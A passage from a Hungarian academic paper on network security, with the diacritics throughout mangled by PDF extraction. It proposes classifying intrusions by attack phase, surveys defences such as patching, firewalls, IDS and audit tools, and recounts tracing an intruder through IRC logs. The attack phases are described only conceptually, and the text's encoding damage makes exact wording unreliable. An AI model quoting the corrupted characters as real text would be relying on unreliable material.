hibalehet˝ os´eg, ami kiz´ar´ olag emberi t´enyez˝ot˝ol f¨ ugg. (Erre egy p´elda, ha a rendszergazda telefonos megkeres´esre hajland´ o kicser´elni b´ arki jelszav´ at, vagy valaki szem´elyes k´er´es´ere csin´al u ´j felhaszn´ al´ oi azonos´ıt´ ot, pedig ezt a k´er´est nem kellett volna teljes´ıtenie.) Az eml´ıtett k¨ onyvben a biztons´ agi probl´em´ak csoportos´ıt´ asa egy fejezetsorrendet k¨ ovet: Ahogy az ir´ o/szerkeszt˝o a k¨ onyvet szerkeszti, u ´gy csoportos´ıtj´ ak a hib´ akat. Hasonl´ o a helyzet az interneten t¨ obb helyen: Ha valaki biztons´ agi probl´em´akkal foglalkoz´ o weblapot hoz l´etre, akkor valamilyen nem igaz´an megalapozott, egyszer˝ u m´odszerrel pr´ ob´ alja a hib´ akat kategoriz´ alni. Ezekben az esetekben ´altal´ aban egyenletesebb csoportos´ıt´ as t¨ort´enik, egyegy kateg´ori´ aba hasonl´ o sz´am´ u eset ker¨ ul. Az elm´eleti megalapozotts´ag ´es az egys´eges kateg´oriakialak´ıt´ as viszont hi´ anyzik ebben az esetben.
1.4.1
Javaslatok
A csoportos´ıt´ as kidolgoz´ asa komoly feladat, mi sem v´ allalkozunk ebben a munk´ aban a teljes csoportos´ıt´ as kidolgoz´ as´ara. Szeretn´enk viszont bemutatni p´ ar apr´ obb dolgot, amit c´elszer˝ u lenne a csoportos´ıt´ as sor´an alkalmazni. A csoportos´ıt´ asi m´odszerek a hib´ akat, probl´em´akat t¨ obbnyire egy-egy tulajdons´ ag megragad´as´aval statikus helyzetben k´ıv´ ant´ ak megfigyelni. Fontosabb azonban maga a folyamat, ahogy egy rendszer integrit´ asa s´er¨ ul. Adjunk meg erre egy p´eld´at: • Inform´ aci´ot gy˝ ujtenek a c´elg´epr˝ ol. (finger, web, portscan-el´es, k´odolatlan, gyeng´en k´odolt adatok megfigyel´ese, m´as rendszerek jelszavainak vizsg´alata) • T´avolr´ ol el´erhet˝o hib´ akat pr´ ob´ alnak ki. (CGI hib´ ak, sendmail hib´ ak, gyenge jelszavak, egyszer˝ u felhaszn´ al´ oi azonos´ıt´ ok stb.) • A firewall, IDS rendszer ´atengedi pr´ ob´ alkoz´ asaik egy r´esz´et. • Valamelyik t´ amad´ as sikeres, ´ıgy shell el´er´eshez jutnak. (Ez m´ ar UNIX specifikus lehet.) • A szerzett shell seg´ıts´eg´evel felder´ıtik, mi van a sz´ am´ıt´ og´epre install´ alva. • A felhaszn´ alt inform´ aci´o alapj´ an t´ amad´ ast k´ıs´erelnek meg, adminisztr´ atori jogok megszerz´ese c´elj´ab´ ol. • Valamely hiba kihaszn´ al´ as´aval adminisztr´ atori jogokhoz jutnak. (Sikeres t´amad´ as, p´eld´aul buffer overflow, hib´ as symlink ek, race condition, gyenge jelsz´o, rossz CGI, stb.) 12
• A firewall, IDS rendszer nem jelez, a felhaszn´al´ o kiz´ar´ asa nem t¨ort´enik meg. • Az el˝oz˝o h´ arom pont valamelyik´et˝ol kezdve t´amad´ ast ind´ıthatnak a ´ rendszer m´as sz´am´ıt´ og´epe ellen. (Atl´ep´esi lehet˝os´eg m´as g´epre (rsh, ssh, stb), lehallgat´ as (X window, telnet, stb), gyenge k´ odok, k´ odolatlan folyamok megfigyel´ese, firewall -on a´t nem el´erhet˝o g´epek t´amad´ asa.) • A t´ amad´ ok a rendszer ¨osszes sz´am´ıt´ og´ep´en adminisztr´ atori jogokat szereznek, ´ıgy a rendszer teljesen felt¨ortnek nyilv´ an´ıthat´ o. A fenti folyamat, noha m´eg ´ıgy is sok egy´eb lehet˝os´eget tartalmaz, m´odot ad egy olyan kategoriz´ al´ asra, amelynek viszonylag egyszer˝ u ´es egy´ertelm˝ u elvi megalapozotts´aga van. A gyakorlati ´eletben is k¨onnyen haszn´ alhat´ o, inform´ aci´ot ny´ ujt a probl´em´akr´ ol. A besorol´ as hierarchikus, b˝ ov´ıthet˝ o. T¨obbszint˝ u kifejt´est tesz lehet˝ov´e, az egyes l´ep´esek alatt tov´ abbi alszinteket, alternat´ıv lehet˝ os´egeket hagy. A besorol´ as probl´em´aja, hogy egyes t´ amad´ asok tov´ abbra is t¨ obb helyre besorolhat´ oak, m´ıg m´as t´amad´ asok egy ilyen egyszer˝ u folyamatb´ ol kimaradnak. Mindenesetre c´elszer˝ unek l´ atszik egy ilyen, a t´ amad´ as f´azisokra bont´ as´aval l´etrehozott feloszt´as k´esz´ıt´ese. (Mint tudjuk, a k´ aosz alapja az egyszer˝ u inverzi´ o – az algoritmuselm´eletben ´es m´as matematikai ter¨ uleteken is hat´ekonyan alkalmazhat´ o a probl´emafelbont´ as m´odszere, v´elem´eny¨ unk szerint itt is ez az egyetlen j´arhat´ ou ´t.) A fenti folyamatot a mell´ekelt folyamat´ abr´ aval mutatjuk be. Term´eszetesen a folyamat´ abra helyett elk´epzelhet˝o, hogy m´ as hasonl´ o elv˝ u megold´ asok is j´ ol alkalmazhat´ oak. A folyamatot a´t lehet alak´ıtani esetleg Petri h´ al´ ora, vagy a hitt´er´ıt˝ o-kannib´ al probl´ema m´odj´ ara m´atrixos form´ aba is lehet alak´ıtani. Ebben az esetben a m´atrix minden sora megfelelhet a rendszer egy a´llapot´ anak (a teljes integrit´ ast´ol – az abszol´ ut felt¨ or´esig). Az ´allapotok k¨ oz¨otti a´tmeneteket egy-egy bizons´agi r´esnek feleltethetj¨ uk meg (Term´eszetesen ezek t¨obb u ´ton l´etrej¨ohetnek, t¨ obb gond is okozhat azonos konfigur´ aci´o´atmenetet.) A m´atrix (i,j) eleme pedig vagy 0 vagy 1 annak megfelel˝ oen, hogy az i. konfigur´ aci´o eset´en j. konfigur´ aci´oba val´ o ´atmenet l´etezik-e. Az ´atmeneti m´atrix fel´ır´ as´aval arra van m´ od, hogy meg´ allap´ıtsuk, el´erhet˝oeke a konfigur´ aci´o bizonyos a´llapotai. Ez a folyamat´ abr´ as megold´asban term´eszetesen sokkal trivi´ alisabbnak l´ atsz´o feladat, ez a m´odszer azonban komplexebb probl´em´akat tud megoldani: egy viszonylag nagy rendszerb˝ ol, o¨sszetett, ´atl´ athatatlan probl´em´ak eset´en is l´etre lehet hozni egy megfelel˝o m´atrixot, es a m´atrix hatv´ anyoz´ asa ´altal egy´ertelm˝ uen megadhat´ oak az el´erhet˝o konfigur´ aci´ok. Ha teh´at bonyolult rendszerr˝ ol van sz´o, akkor egyszer˝ u, viszonylag gyorsan v´egrehajthat´ o m´atrixm˝ uveletekkel automatiz´altan juthatunk eredm´enyekre.
13
A m´atrixos fel´ır´ ast az nehez´ıtheti meg, ha egy-egy hib´ anak speci´alis konfigur´ aci´o az el˝ofelt´etele. Ilyen esetekben az adott speci´alis konfigur´ aci´ot is fel kell venni a konfigur´ aci´ok k¨ oz´e. Ilyen m´odon a m´ atrix igen nagy m´ereteket ´erhet el. A folyamat´ abr´ as, esetleg Petri-h´al´ os fel´ır´ as el˝onye a k¨ onny˝ u vizualiz´ alhat´ os´ag, seg´ıts´eg´evel a felt¨or´es folyamat´anak elvi modellj´et lehet k¨onnyen vizu´ alisan bemutatni. A fent eml´ıtett m´odszereket, hasonl´o vizsg´alati megk¨ ozel´ıt´eseket az ´altalunk fellelt szakirodalomban nem nagyon tal´ altunk. A legt¨ obb eredm´eny vagy gyakorlati s´ıkon sz¨ uletett, ahol az ilyen megk¨ ozel´ıt´esek, mint a fenti modellek, nem sz¨ uks´egesek, vagy – egyel˝ore – t´ ul bonyolultnak t˝ unnek. Az elm´eleti eredm´enyek pedig sokkal ink´ abb algoritmikus ´es kriptogr´ afiai probl´em´akra koncentr´ alnak. Szeretn´enk teh´at felkelteni a figyelmet, hogy a t´em´aban igen szerte´ agaz´o kutat´ asi lehet˝os´egek vannak. (Term´eszetesen elk´epzelhet˝o, hogy egy-egy vonalon mi magunk is tov´ abbi kutat´ asokat fogunk eszk¨ oz¨olni.)
1.5
A v´ edekez´ es m´ odszerei
A h´ al´ ozati oper´ aci´os rendszerrel rendelkez˝o sz´am´ıt´ og´epen t¨ort´en˝o v´edekez´esnek sz´amos ter¨ ulete van. Ezek egy r´esz´et r´eszletesen megtal´alhatjuk p´eld´ aul [20]ban [6]-ban Fontosnak tartjuk azonban p´ ar fogalom tiszt´ az´as´at jelen munk´ aban is. Az els˝o ´es legfontosabb biztons´ agi pont egy sz´ am´ıt´ og´epes rendszerben a konfigur´ aci´o megfelel˝o be´all´ıt´ asa. Ebbe tartozik a jogosults´ agok megfelel˝o kioszt´asa, megfelel˝oen biztons´ agos jelszavak haszn´alata (k´es˝obb m´eg foglalkozunk a t´em´aval), az inform´ aci´ok megfelel˝o t´ arol´ asa stb. Ezeket most nem r´eszletezz¨ uk b˝ ovebben.
1.5.1
Programhib´ ak elleni v´ edekez´ es
Az Internetes bet¨or´esek t¨obbs´ege ma egy adott programban felfedezett hiba kihaszn´ al´ as´at jelenti. Ezek a hib´ ak nyilv´ anoss´agra ker¨ ulnek ´es r¨ovidesen megjelenik valaki, aki ennek a hib´ anak a kiakn´ az´as´ara programot k´esz´ıt. Az elk´esz´ıtett ,,exploit”, a hib´ at kihaszn´ al´ o programocska az Internet sebess´eg´enek k¨osz¨onhet˝ oen f´el nap alatt k¨ ozismertt´e v´alik (pl. a BugTraq levelez´esi lista seg´ıts´eg´evel). Ezut´ an b´ arki ki tudja haszn´ alni ezt a biztons´ agi probl´em´at, aki megszerzi ezt a programot, ´es minim´alisan ´ert a sz´am´ıt´ og´epekhez. Emiatt k¨ ul¨ on¨ osen nagy a vesz´ely: A felt¨ or´est megk´ıs´erl˝o
14
szem´ely nem biztos, hogy ´ert az adott oper´ aci´os rendszerhez, ´ıgy ak´ ar v´eletlen¨ ul is adatveszt´est, rendszer¨osszeoml´ast tud el˝oid´ezni. A programhib´ ak elleni v´edekez´es a hiba napvil´ agra ker¨ ul´ese el˝ott igen neh´ez. Miut´ an viszont kider¨ ult a programhiba, napokra r´ a meg szokott jelenni a hiba jav´ıt´ asa is. Ekkor pedig a megold´ as igen egyszer˝ u: a lehet˝ o leghamarabb friss´ıteni kell. A legt¨ obb nagy UNIX rendszer, ´es az ingyenes Linux oper´ aci´os rendszerek is naprak´esz biztons´agi friss´ıt´eseket tartalmaznak, ´es ak´ ar 5-10 perc alatt rendbe lehet tenni. Rengeteg rendszergazda ennek ellen´ere, f˝oleg t´ ulterhelts´eg miatt, ´es mert t´ ul sok feladatk¨ ore van, elfelejtkezik a friss´ıt´esekr˝ol. Ekkor a rendszer ak´ ar t¨ obb h´ onapig is u ´gy m˝ uk¨ odhet, hogy ´ biztons´ agi hiba van a rendszerben. (El˝ o p´eldak´ent az egyik nagyobb magyar Internet-szolg´ altat´ o k¨ ozponti g´epe szeptember elej´en is felt¨ orhet˝ o volt egy m´ajusban napvil´ agra ker¨ ult hiba k¨ ovetkezt´eben, ezt csak figyelmeztet´es¨ unk ut´ an jav´ıtott´ak, addig t¨ obb ezer felhaszn´al´ o potenci´ alis c´elpontja lehetett a hiba.) A rendszeres friss´ıt´es probl´em´aja az´ert egyre nagyobb gond, mert ma m´ar a szerverek, illetve az annak sz´am´ıt´ o sz´am´ıt´ og´epek u ´gy elterjedtek, hogy egy rendszergazd´anak t¨ obb, (ak´ ar t¨ obb 10!) ilyen g´epen kell a friss´ıt´eseket elv´egezni, m´ıg egy egyszer˝ u felhaszn´ al´ o esetleg g´ep´ehez is alig ´ert, ´es ´ıgy kellene a rendszer frissess´eg´et ´es biztons´agoss´ag´at meg˝orizni. Ez a gond Windows NT k¨ ornyezetben fokoz´ odik azzal, hogy a hibajav´ıt´asok csak t¨obb h´ettel a hiba kider¨ ul´ese ut´an jelennek meg. Ezen t´ ulmen˝oen a Microsoft a´ltal publik´ alt hib´ ak kezel´ese viszonylag ´atl´ athatatlan, a jav´ıt´ asok let¨olt´ese neh´ezkes lehet, ´es ha mindez m´eg gyorsan siker¨ ulne is, akkor is majdnem minden esetben a rendszer u ´jraind´ıt´ as´at k¨ oveteli meg egy ilyen hiba jav´ıt´ asa, m´eg ha arra gyakorlatilag nem is lenne sz¨ uks´eg. (Megn´ezhetj¨ uk viszont a Sun hibajav´ıt´ asait - m´eg a kernelpatch 1 eset´en sincs sz¨ uks´eg a g´ep u ´jraind´ıt´ as´ara, ´ıgy a k¨ ul¨ on¨ osen fontos helyeken is egyszer˝ u a friss´ıt´es.) A Microsoft eset´eben a jav´ıtott hib´ ak, a rendszerf´ ajlok pontos a´llapota, a rendszerkomponensek verzi´oja igen nehezen k¨ ovethet˝o, r´ aad´ asul nem ritk´ an kompatibilit´ asi probl´em´ak is felvet˝ odnek (p´eld´aul a Service Pack 5 ´es egyes programrendszerek eset´eben). Nem ´all´ıtjuk, hogy lehetetlen ezen probl´em´ak k¨ ovetkezetes ´es hozz´a´ert˝o kezel´ese, viszont az eredm´eny egy viszonylag ´atl´ athatatlan rendszer, ami a t¨ok´eletes biztons´ag ´erdek´eben igen gyakori friss´ıt´est ig´enyelne. M´egis: a Windows NT rendszergazd´ak t¨ obbs´ege abszol´ ut nincs tiszt´aban a rendszer biztons´ agi a´llapot´ aval. A Microsoft a k¨ ovetkez˝o ´evekben mindenk´eppen r´ a fog k´enyszer¨ ulni a rendszerkomponensek verzi´ okarbantart´ as´anak fel¨ ulvizsg´ alat´ ara az egyszer˝ ubb kezel´es ´es jav´ıt´ as ´erdek´eben. Az u ´j m´ odszerek megjelen´ese nemcsak a Microsoft eset´eben val´ osz´ın˝ us´ıthet˝o, a [14] dokumentumban felv´ azolt j¨ ov˝ ok´ep szerint p´eld´aul az elk¨ ovetkez˝o 10 ´evben az ¨onjav´ıt´ o, adapt´ıv renszerek l´etrej¨ott´ere 1
A rendszer magj´ at ´erint˝ o hibajav´ıt´ as
15
kell sz´am´ıtani ezen a ter¨ uleten.
1.5.2
Firewall-ok
A v´edelem m´asik, ma leggyakrabban megtal´ alt m´ odja a firewall (t˝ uzfal) alkalmaz´asa. A firewall korunk biztons´ agi buzzword -je, amit minden a t´em´ahoz ´ert˝o vagy ´erteni akar´ o embere ismer. A firewall egy olyan sz´am´ıt´ og´ep vagy h´ al´ ozati eszk¨oz, amely kapcsolatot teremt egy v´edett ´es egy ”k¨ uls˝o” sz´am´ıt´ og´eph´ al´ ozat k¨oz¨ott, ´es el is v´agja a kett˝ot egym´ast´ol. Kapcsolatot teremt, mert ´atengedi a megfelel˝o, biztons´ agos forgalmat, ´es elv´ag, a nem biztons´ agos, sz¨ uks´egtelen, vagy gyan´ us forgalmat nem engedi a´t. Egyes firewall-oknak eltitkol´ o szerepe is van: A m¨og¨otte lev˝o v´edett h´al´ ozatr´ ol kev´es inform´ aci´ot enged ´at (p´eld´ aul nem adja ki az eredeti k´er´es IP c´ım´et, az eredetileg kapcsolatot kezdem´enyez˝o g´ep nev´et, illetve eltitkolja p´eld´ aul a k´er´est v´egz˝o g´ep oper´aci´os rendszer verzi´oj´ at. Ez egy security-through-obscurity megold´as – az inform´ aci´o hi´ any´ aval n¨ ovelj¨ uk a biztons´ agot, illetve val´ oban elfedj¨ uk a forr´ asg´epet, arra k¨ ozvetlen¨ ul forgalom visszafele nem ir´ anyulhat.) A firewall-oknak k´et alapvet˝o t´ıpusa van, a packet filtering firewall, amely az egyes csomagok viszonylag buta sz˝ ur´es´evel v´egzi a forgalom szab´ alyoz´ as´at, ´es az application level firewall. Ez ut´ obbi a k¨ ulvil´ ag fele l´atsz´o szolg´altat´ asok mindegyik´ehez egy-egy specifikus proxy programot tartalmaz, melyhez k¨ ul¨ onk¨ ul¨ on csatlakozik a bels˝ o ´es k¨ uls˝ o vil´ ag. (A k´es˝obb r´eszletezett csapdasz´am´ıt´ og´ep megold´asunkban mi egy egyszer˝ u, Linux alap´ u packet filtering firewall megold´ast alkalmaztunk a biztons´ ag n¨ ovel´ese ´erdek´eben.) A firewall alkalmaz´ asa az´ert n´epszer˝ u ´es egyszer˝ u, mert a korl´ atos, internetr˝ ol is hozz´af´erhet˝o szolg´altat´ as v´edelme sokkal k¨onnyebb, mintha az eg´esz rendszer ¨osszes programj´at v´eden´enk. Probl´em´akat jelent viszont, hogy a felt¨ or´esek jelent˝os sz´azal´eka szervezeten bel¨ ulr˝ ol t¨ ort´enik, hogy a firewall implement´aci´oja is lehet hib´ as, ´es ak´ar v´eletlen¨ ul is a´tengedhet¨ unk olyan adatokat amelyekkel a firewall megker¨ ulhet˝ o.
1.5.3
IDS rendszerek
Az Intrusion Detection System a behatol´ asok ´erz´ekel´es´et, analiz´ al´ as´at ´es a megfelel˝o cselekv´est t´amogatja. Seg´ıts´eg´evel a t´amad´ asokat nem megel˝ozni, hanem kontoll´ alni tudjuk. Egyes IDS rendszerek csak az ut´ olagos karbantart´ asban j´ atszanak szerepet. Ilyen p´eld´aul a tripwire, mellyel a f´ ajlok integrit´ as´at lehet ellen˝ orizni, teh´ at azt, hogy rosszindulat´ u t´ amad´ o megb´ızhat´ o, eredetinek hitt f´ ajljainkat nem m´ odos´ıtotta. M´ as rendszerek komplex v´edelmet adnak ´es folyamatosan figyelik a h´ al´ ozati forgalmat. A forgalom figyel´ese
16
´abra 1.4: M´eg viszonylag j´o v´edekez´es mellett is a bet¨or´esek nagy r´esze detekt´alatlan marad. (CERT kimutat´ as)
t¨ort´enhet egy sz´am´ıt´ og´epen, a h´ al´ ozatra helyezett ”lehallgat´ o-IDS-sel” vagy p´eld´aul egy IDS-sel ell´ atott router (´ utvonalv´ alaszt´o) seg´ıts´eg´evel. Az IDS rendszerek hat´ekonyan figyelmeztethetnek a legk¨ ul¨ onb¨ oz˝obb dol´ ekelhetnek portscant, amikor a t´ gokra: Erz´ amad´ o a szolg´altat´ asok v´egigpr´ ob´ algat´ as´aval pr´ ob´ al inform´ aci´ot szerezni, ´eszrevehetnek bet¨or´esi k´ıs´erleteket m´ar felfedezett hib´ akkal szemben, vagy olyan felhaszn´ al´ oi bejelentkez´eseket, melyek nem szok´asos helyr˝ ol, vagy id˝ opontban t¨ ort´ennek (ilyenkor persze magas a t´eves pozit´ıvok es´elye). Az IDS rendszerek, f˝oleg egy-egy rendszer t¨obb ezer doll´ aros volta ellen´ere nem tud megoldani egy sereg dolgot: Hat´ekonyan haszn´ alhat´ o pl. a telnet protokollban zajl´ o gyan´ us forgalom figyel´es´ere, de a titkos´ıtott forgalmat nem tudja analiz´ alni. Hat´ekony lehet egy kis h´ al´ ozatban, de ak´ ar m´ar egy 25%-ig kihaszn´alt a´tlagos 100 Mbps sebess´eg˝ u h´ al´ ozatn´al sem biztos, hogy az o¨sszes ´erkez˝o adatot a megfelel˝o sebess´eggel fel tudja dolgozni, ilyenkor csomagok veszhetnek el, ´es megn˝o a nemriaszt´asok sz´ama.
1.5.4
Audit rendszerek
Hasznos eszk¨oz a rendszergazd´ak kez´eben a k¨ ul¨ onb¨ oz˝o audit programok haszn´alata. Seg´ıts´eg¨ ukkel inform´ aci´o nyerhet˝ o a rendszer ´allapot´ ar´ ol, a potenci´ alis hibaforr´ asokr´ ol. A fent eml´ıtett tripwire is tekinthet˝ o audit pro-
17
gramnak. M´ as audit programok r´egi, ismert bet¨or´esi lehet˝os´egekr˝ol tartalmaznak inform´ aci´okat (a r´egi itt relat´ıv, egyes rendszereket naponta friss´ıtenek), ´es ez alapj´an elemzik a rendszer ´allapot´ at. Azonban egyik audit rendszer sem tartalmazhatja az o¨sszes hiba inform´ aci´oj´ at ´es nem mutathatja ki a rendszergazda ¨osszes t´eved´es´et. Hasonl´ ok´eppen ha nem futtatjuk le dr´ aga audit rendszer¨ unket (hiszen m´eg a programok p´ ar perces friss´ıt´es´ere is ”lust´ak” vagyunk), akkor nem fogjuk jobban v´edeni rendszer¨ unket.
1.5.5
Egy´ eb lehet˝ os´ egek
A fenti eszk¨oz¨ok¨ on t´ ul rengeteg apr´ o m´odszer ´es furm´ any lehets´eges. A biztons´ ag n¨ ovel´es´enek egyik leghat´ekonyabb m´ odja a szok´ asost´ol elt´er˝o, egy´eni m´odszerek hat´ekony o¨tv¨ oz´ese az ´altal´ anosan elfogadott m´ odszerekkel. Mi´ert? A bet¨or˝ o nem sz´am´ıt az adott v´edekez´esi m´odra. A legegyszer˝ ubb m´ odon f´elre lehet vezetni a bet¨or˝ ot, aki ´ıgy legal´ abbis riaszt´ast produk´ alhat, ´ıgy k¨ onnyen kider´ıthet˝ o egy k¨ ul¨ onben j´ ol leplezett sikeres bet¨or´es is. (Ilyen m´odszer p´eld´ aul egy nem l´etez˝o vend´eg felhaszn´al´ o l´etrehoz´asa, amelyik csak riaszt´ast gener´al, a bet¨ or˝ ot viszont valamilyen hiba¨ uzenettel megt´eveszti.) Rengeteg m´as intuit´ıv m´odszer elk´epzelhet˝o, ´es ezek hat´ekonys´aga az´ert nagy, mert a v´edelem nem algoritmiz´alhat´ o. Sosem ismerj¨ uk egy rendszer ¨osszes g´ep´enek hardware ´es szoftver ´allapot´ at, sosem ismerj¨ uk a programokban lev˝ o ¨osszes hib´at, ´es ha ismern´enk is a rendszer teljes ´allapot´ at, akkor sem ´allna m´ odunkban mindezt kielemezni ´es megold´ast tal´ alni algoritmikusan minden probl´em´ara. Ha pedig nincsen algoritmikus megold´ as, akkor a biztons´ ag nem maximaliz´alhat´ o, csak egyre jobb optimumokat tudunk el´erni. Ebben pedig seg´ıts´eg¨ unkre lehet b´ armely saj´at o¨tlet. Fontos felh´ıvni a figyelmet arra, hogy a biztons´ ag igen nagy o¨sszegekbe ker¨ ulhet. Egy jobb IDS rendszer t¨ obb ezer doll´ arba ker¨ ul, hasonl´ ok´eppen egy firewall-al, ami szint´en t´ızezer doll´aros nagys´ agrend˝ u beruh´ az´ast ig´enyel. Ezen o˝sszegek mellett a magyar informatikus munkab´ere nem jelent akkora t´etelt, hogy ne ´erne meg egy odafigyel˝ o szak´ert˝o megfizet´ese. Itt nem csak a kifejezetten security consulting ter¨ uleten dolgoz´ o emberekre gondolunk, hiszen tud´asukat o˝k sem adj´ak ingyen, de egy hozz´ a´ert˝o, nem t´ uldolgoztatott rendszergazda, ha t´enyleg marad ideje, sokat seg´ıthet egy rendszer biztons´ ag´anak n¨ ovel´es´eben. Ma Magyarorsz´ agon az intuit´ıv, kreat´ıv m´odszerek csak igen gy´eren, elsz´orva haszn´ alatosak, hasonl´ oan: a firewall-on k´ıv¨ ul a v´edekez´es ¨osszes m´as m´odszere a gyakorlatban ismeretlen. Sajnos a legt¨ obb biztons´ agra t¨ orekv˝ o rendszergazda a felhaszn´al´ o n´elk¨ uli rendszerben gondolja az egyed¨ uli u ¨dv¨ oz´ıt˝ o 18
megold´ast. Ennek megv´ altoztat´as´ara pedig igen nagy sz¨ uks´eg lesz a k¨ovetkez˝o ´evekben. Csapdasz´am´ıt´ og´epes p´eld´ankkal is utols´ o ´all´ıt´ asainkat pr´ ob´ aljuk igazolni: A biztons´ ag ,,h´ azi” eszk¨oz¨okkel jelent˝ osen n¨ovelhet˝o.
19
Fejezet 2
A csapdasz´ am´ıt´ og´ ep Mit lehet tenni a biztons´ ag meger˝os´ıt´ese ´erdek´eben? B´armely szempontb´ol k¨ ozel´ıtj¨ uk meg a biztons´ag k´erd´es´et, rendk´ıv¨ ul sok lehet˝os´eg¨ unk van a rendszer biztons´ ag´anak megers´ıt´es´ere. A rengeteg lehet˝os´eg az´ert ´all el˝ o, mert – mint ezt m´ar eml´ıtett¨ uk – nincs egy teljes, 100%-os megold´as. Ha pedig nincsen teljes biztons´ag, akkor mindig ki lehet tal´ alni egy jobb, optim´ alisabb, esetleg alternat´ıv m´odszert. ,,If you know yourself well, And know your enemy/competitor well, You will win the battle almost 100 percent.” – Sun Tzu, ,,The Art of War” A v´edekez´es egyik fontos l´ep´ese az ellens´eg megismer´ese. Csak akkor tudunk megfelel˝ oen v´edekezni, ha tudjuk, hogy mit˝ ol kell v´edekezni. Fontos teh´at a folyamatos adatgy˝ ujt´es, odafigyel´es, stb., melynek egy r´esz´et m´ar az IDS rendszerekn´el eml´ıtett¨ uk.
2.1
´ o bet¨ El˝ or´ esi p´ elda
Mindezeket a´tgondolva jutottunk arra az elk´epzel´esre, hogy vizsg´alatainkat j´ o lenne ´el˝o szitu´aci´oban vizsg´ alni. Sz´ am´ıt´ og´epes rendszerek fenntart´asa k¨ ozben m´ar tal´ alkoztunk val´ os bet¨or´esi szitu´aci´oval.
2.1.1
A bet¨ or˝ o
Egyik esetben egy igen elhanyagolt rendszerbe hatolt be a bet¨ or˝ o. Mivel a bet¨or˝ o sem v´egzett gondos munk´at l´ atv´ an azt, hogy a rendszerre nem fi20
gyelnek, ´ıgy viszonylag sok pontos adatot hagyott mag´ ar´ ol. Bel´ep´es´et t¨obb k¨ ul¨ onb¨ oz˝o dialup (modemes internethozz´af´er´es) c´ımr˝ ol k¨ ovette el. Ezek a bel´ep´esek a k¨or¨ ulm´enyeknek megfelelen visszanyomozhat´oak lehetnek. Azonban semmit nem ´erhet¨ unk ezekkel az adatokkal, ha az eml´ıtett dialup-os bel´ep´esi n´ev ´es jelsz´o m´ar a bet¨ or˝ o kor´ abbi tev´ekenys´ege alapj´ an lopott volt. A m´asik probl´ema ilyen esetekben a szolg´altat´ ok hozz´a´all´ asa. M´eg pontos adatok megad´ asa eset´en sem adnak sz´ıvesen inform´ aci´okat arr´ ol, hogy ki is l´epett be az adott modemre a megadott idpontban. Jogi elj´ ar´ as lefolytat´ asa ilyen esetekben m´eg k¨or¨ ulm´enyesebb lenne, hiszen ismeretlen tettes ellen lehetne csak feljelent´est tenni, ´es a jog m´eg nem ´erett meg haz´ankban az ilyen perekre. Szerett¨ uk volna kider´ıteni azonban a ,,b˝ un¨ oz˝o” kil´et´et. Hogyan lehet azonban kider´ıteni valakinek a kil´et´et, ha lopott azonos´ıt´ oval l´ep be egy felt¨ ort g´epre valamilyen hamis n´even? A dolog rendk´ıv¨ ul egyszer˝ u: A bet¨ or˝ o ´ is t´evedhet, ´es esetleg maga azonos´ıtja saj´ at mag´at. Igy is t¨ort´ent.
2.1.2
Az IRC seg´ıts´ ege
A mi ´altalunk felhaszn´ alt eszk¨oz a lenyomoz´asra az IRC nev˝ u internetszolg´altat´ as volt. Ezen a szolg´altat´ ason a vil´ agb´ ol t¨ obb t´ızezer ember tud a sz´am´ıt´ og´epen kereszt¨ ul – sz¨oveges m´odban – egym´ assal besz´elgetni. Minden egyes felhaszn´ al´ ot, aki az IRC-re l´ep, h´ arom adat azonos´ıt: • a beceneve, amit tetszlegesen megv´alaszthat; • a felhaszn´ al´ oi azonos´ıt´ oja; • ´es a g´ep ahonnan bel´epett. Term´eszetesen a felhaszn´al´ o azonos´ıt´ oja azon a g´epen, ahonnan bel´ep nem biztos hogy val´ odi, hiszen ez p´eld´aul egy MS Windows alap´ u rendszeren ez a param´eter tetszlegesen be´all´ıthat´ o. A g´ep is hamis´ıthat´ o, azaz ink´ abb elfed´esr˝ol besz´elhet¨ unk: alkalmazhat´ oak megfelel proxy-k arra a c´elra, hogy ne l´ atsz´odjon, az illet˝ o val´ oj´ ab´ ol melyik g´epr˝ ol l´ep fel a h´ al´ ozat k¨ ul¨ onb¨ oz˝o szolg´altat´ asaira.
2.1.3
´ Ujabb adatok a bet¨ or˝ or˝ ol!
Az elfelt´etelez´es¨ unk, hipot´ezis¨ unk a k¨ ovetkez˝o volt: a felt¨ or˝ o magyar lehetett, mert mindig magyar modemekr˝ ol l´epett f¨ ol, ´es a magyar ,,hacker-´elet”
21
el´eg szorosan k¨otdik az IRC-hez. (Mik´ent a h´ıres Kevin Mitnick is gyakran volt megtal´ alhat´ o IRC-n. [11]) Ezek alapj´ an felt´etelezt¨ uk, hogy a bet¨ or´est v´egz˝o szem´ely megtal´alhat´ o volt valamikor a bet¨ or´esek id˝opontjaiban az IRC magyar kapcsolat´ u csatorn´ ain. Az IRC kliens programok be´ all´ıthat´ oak, hogy az egyes csatorn´ara bel´ep˝o szem´elyeket ´es az elhangzott sz¨ovegeket napl´ ozz´ak, r¨ ogz´ıts´ek. Elkezdt¨ unk teh´ at a megadott id˝ opontokban r´ akeresni a r´egebbi, m´eg fellelhet˝o napl´ of´ ajljainkban azut´ an, hogy a bet¨ or˝ o esetleg bel´epett volna a megadott g´epr˝ ol az adott idpontban valamelyik ismert csatorn´ ara. Keres´es¨ unk k¨ or¨ ulm´enyes volt, de hamar eredm´ennyel kecsegtetett: tal´altunk egy X felhaszn´ al´ ot, aki f´el ´or´ aval az egyik bet¨ or´es el˝ott l´epett ki ugyanarr´ ol a modemr˝ol ahonnan k´es˝obb bet¨ ortek. Ezen a vonalok kezdt¨ unk tov´ abb nyomozni: ismer˝os¨okt˝ ol seg´ıts´eget ´es ut´anan´ez´est k´erve siker¨ ult inform´ aci´okat kapni. T¨ obb ,,majdnem” tal´ alat ut´ an siker¨ ult egy kv´ azi bizony´ıt´ekot szerezn¨ unk: X felhaszn´ al´ o ugyanakkor volt jelen IRC-n, mint a felt¨ ort g´epen. Term´eszetesen a t´eves-pozit´ıv lehets´ege tov´abbra is fenn´ allt: • Az eredeti logok a bel´ep´esr˝ol lehettek hamisak is, ha valaki direkt ´ıgy akarta. • Az id˝opontok pontoss´ ag´ara nincs adatunk, nem tudtuk biztosan, hogy melyik g´ep ´or´ aja volt rendesen szinkroniz´ alva. • Az IRC napl´ of´ ajlok, amelyekb˝ ol a k¨ ovetkeztet´eseket levontuk, nem saj´atok voltak, ´ıgy lehettek hamisak, • X felhaszn´ al´ o modemre csatlakoz´o g´epe Linux oper´ aci´os rendszer alatt u ¨zemelt. Egy igen u ¨gyes hacker felt¨ orhette az ˝o g´ep´et is, majd csak ´es kiz´ar´ olag, akkor ´es onnan l´epett be a felt¨ort g´epre.
2.1.4
